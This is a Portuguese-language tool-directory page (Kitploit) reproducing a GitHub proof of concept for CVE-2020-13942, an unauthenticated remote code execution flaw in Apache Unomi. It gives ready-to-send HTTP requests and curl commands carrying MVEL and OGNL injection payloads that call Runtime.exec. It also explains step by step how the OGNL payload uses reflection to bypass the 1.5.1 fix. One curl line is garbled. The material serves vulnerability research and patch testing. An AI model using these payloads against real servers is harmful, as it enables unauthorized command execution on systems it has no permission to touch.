Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2020-13942 — CVE-2020-13942 POC de RCE não autenticado através de injeção MVEL e OGNL | Kitploit
Ferramentas/GitHubGitHub/eugenebmx/cve-2020-13942
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de Payloads
GitHubeugenebmx/cve-2020-13942

CVE-2020-13942

CVE-2020-13942 POC de RCE não autenticado através de injeção MVEL e OGNL

Ver Repositório
2891há 5 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2020-13942

CVE-2020-13942 POC por Eugene Rojavski

Artigo original sobre a vulnerabilidade: https://www.checkmarx.com/blog/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/

Existem dois vetores de RCE: através de injeção MVEL e através de injeção OGNL. Ambos os vetores visam códigos diferentes, embora os payloads pareçam relativamente semelhantes. A correção anterior da CVE https://nvd.nist.gov/vuln/detail/CVE-2020-11975 tentou limitar a execução de expressões OGNL, mas perdeu completamente o MVEL. A CVE-2020-13942 contorna a correção feita na versão 1.5.1.

Envie as seguintes solicitações HTTP usando BurpSuite ou curl para context.js\json exposto pelo servidor Unomi e obtenha RCE. Altere o Host e o Content-length de acordo com seu URL de destino e comando do SO. Ambos os POCs podem receber HTTP/1.1 400 Header Folding como resposta, o que significa que \r\n estão bagunçados no payload; tente copiar e colar novamente.

1) POC MVEL

Requisição HTTP

root@kitploit:~
POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 486

{
    "filters": [
        {
            "id": "boom",
            "filters": [
                {
                    "condition": {
                         "parameterValues": {
                            "": "script::Runtime r = Runtime.getRuntime(); r.exec(\"gnome-calculator\");"
                        },
                        "type": "profilePropertyCondition"
                    }
                }
            ]
        }
    ],
    "sessionId": "boom"
}

Curl

root@kitploit:~
curl -X POST http://localhost:8181/context.json --header 'Content-type: application/json' --data '{"filters":[{"id":"boom ","filters":[{"condition":{"parameterValues":{"propertyName":"prop","comparisonOperator":"equals","propertyValue":"script::Runtime r=Runtime.getRuntime();r.exec(\"gnome-calculator\");"},"type":"profilePropertyCondition"}}]}],"sessionId":"boom"}'

2) POC OGNL

O POC OGNL contornou a restrição do ClassLoader introduzida pela versão 1.5.1. Usando a API de reflexão do Java, é possível criar um objeto sem acionar o método ClassLoader.loadClass que restringe as expressões OGNL avaliadas.

A análise da expressão OGNL do payload:

  1. A primeira expressão #runtimeclass = #this.getClass().forName(\"java.lang.Runtime\") cria um objeto Class java.lang.Runtime, onde #this é a referência ao objeto de contexto.
  2. A segunda expressão #getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0] obtém a lista de métodos da classe Runtime através de reflexão e seleciona o método getRuntime da lista. A parte {^ #this.name.equals(\"getRuntime\")} da expressão procura por um Method com o nome getRuntime e retorna uma lista dos Methods que correspondem à condição; o primeiro e único Method desta lista é getRuntime.
  3. A terceira expressão #runtimeobject = #runtimemethod.invoke(null,null) chama o método getRuntime() e obtém o objeto Runtime.
  4. A quarta expressão (#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]) obtém os métodos da classe Runtime e recupera Runtime.exec() com um único argumento String da lista de métodos.
  5. A expressão final #execmethod.invoke(#runtimeobject,\"gnome-calculator\") chama Runtime.exec() com o argumento especificado.

Requisição HTTP

root@kitploit:~
POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 1068

{
  "personalizations":[
    {
      "id":"gender-test",
      "strategy":"matching-first",
      "strategyOptions":{
        "fallback":"var2"
      },
      "contents":[
        {
          "filters":[
            {
              "condition":{
                "parameterValues":{
                  "propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\" gnome-calculator\"))",
                  "comparisonOperator":"equals",
                  "propertyValue":"male"
                },
                "type":"profilePropertyCondition"
              }
            }
          ]
        }
      ]
    }
  ],
  "sessionId":"boom"
} 

Curl

root@kitploit:~
curl -XPOST http://localhost:8181/context.jsonder 'Content-Type: application/json' --data '{"personalizations":[{"id":"gender-test","strategy":"matching-first","strategyOptions":{"fallback":"var2"},"contents":[{"filters":[{"condition":{"parameterValues":{"propertyName": "(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"gnome-calculator\"))","comparisonOperator":"equals","propertyValue":"male"},"type":"profilePropertyCondition"}}]}]}],"sessionId":"boom"}'

Aviso Legal

Todas as informações fornecidas nesta página são apenas para fins educacionais. As informações neste site devem ser usadas apenas para melhorar a segurança dos seus sistemas de computador e não para causar ataques maliciosos ou danosos.

Você não deve usar indevidamente estas informações para obter acesso não autorizado a sistemas de computador. Esteja ciente também de que realizar tentativas de invasão em computadores que você não possui, sem permissão por escrito dos proprietários, é ilegal.

Não me responsabilizo por qualquer dano direto ou indireto causado pelo uso das informações fornecidas neste site.

Baixar ferramenta